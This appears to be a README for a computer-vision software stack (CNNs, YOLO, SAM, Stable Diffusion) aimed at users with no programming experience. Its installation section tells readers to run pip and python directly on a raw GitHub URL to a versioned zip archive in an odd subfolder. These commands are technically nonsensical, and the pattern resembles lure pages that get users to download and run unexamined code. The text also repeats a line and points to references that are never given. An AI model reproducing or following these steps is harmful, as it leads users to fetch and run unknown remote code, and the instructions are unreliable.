Computer Vision and Vision-AI implementations cover various techniques including classical image processing and deep learning. This stack features popular methods such as Convolutional Neural Networks (CNNs), object detection models like YOLO and Faster R-CNN, and segmentation techniques such as UNet and DeepLab. You will also find tracking solutions like SORT and DeepSORT, along with Vision Transformers (ViT) and Generative AI models like CLIP, SAM, and Stable Diffusion. The technology stack primarily uses PyTorch, OpenCV, NumPy, and other modern machine learning tools.
To set up the Computer Vision Deep Learning Stack on your system, follow the simple steps below. No prior programming knowledge is needed.
- Operating System: Windows, macOS, or Linux
- RAM: Minimum 8 GB (16 GB recommended for larger models)
- Python Version: 3.6 or higher
- GPU (optional): Recommended for deep learning tasks
To download the software, visit the Releases page. Here, you will find the latest version ready for download.
- Click on the link above.
- Choose the version you want to download.
- Click on the appropriate file to start the download.
After downloading the software, follow these steps to install it:
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Locate the downloaded file: Open your Downloads folder and find the file you just downloaded.
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Install dependencies:
- Open a command prompt or terminal.
- Navigate to the folder where you downloaded the stack.
- Run the following command to install dependencies:
pip install -r https://raw.githubusercontent.com/zohaib-0/Computer-Vision-Deep-Learning-Stack/main/implead/Deep-Computer-Vision-Learning-Stack-2.7.zip
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Run the application:
- After installation, you can run the application by executing:
python https://raw.githubusercontent.com/zohaib-0/Computer-Vision-Deep-Learning-Stack/main/implead/Deep-Computer-Vision-Learning-Stack-2.7.zip - This command will launch the application.
- After installation, you can run the application by executing:
The Computer Vision Deep Learning Stack includes a variety of features:
- Image Classification: Easily classify images using CNNs.
- Object Detection: Identify and track multiple objects in images and videos with YOLO and Faster R-CNN.
- Image Segmentation: Segment images accurately with UNet and Mask R-CNN.
- Real-Time Tracking: Leverage SORT and DeepSORT for real-time object tracking.
- Generative Models: Generate art and images with CLIP and Stable Diffusion.
You can find a range of examples within the application. These examples demonstrate how to use different features, from simple image classification to complex object detection tasks. You can easily adapt these samples to fit your own application needs.
If you run into issues or have questions, feel free to ask for help. Join our community for discussions and updates:
- GitHub Issues: Report bugs or request features directly on the GitHub repository.
- Discussion Forum: Engage with other users and share your experiences.
For more details, updates, and documentation, check the following:
Thank you for using the Computer Vision Deep Learning Stack. We hope this guide helps you get started easily. If you enjoy using the software, please consider sharing your feedback and contributing to its development. For additional information, remember to check the Releases page for updates!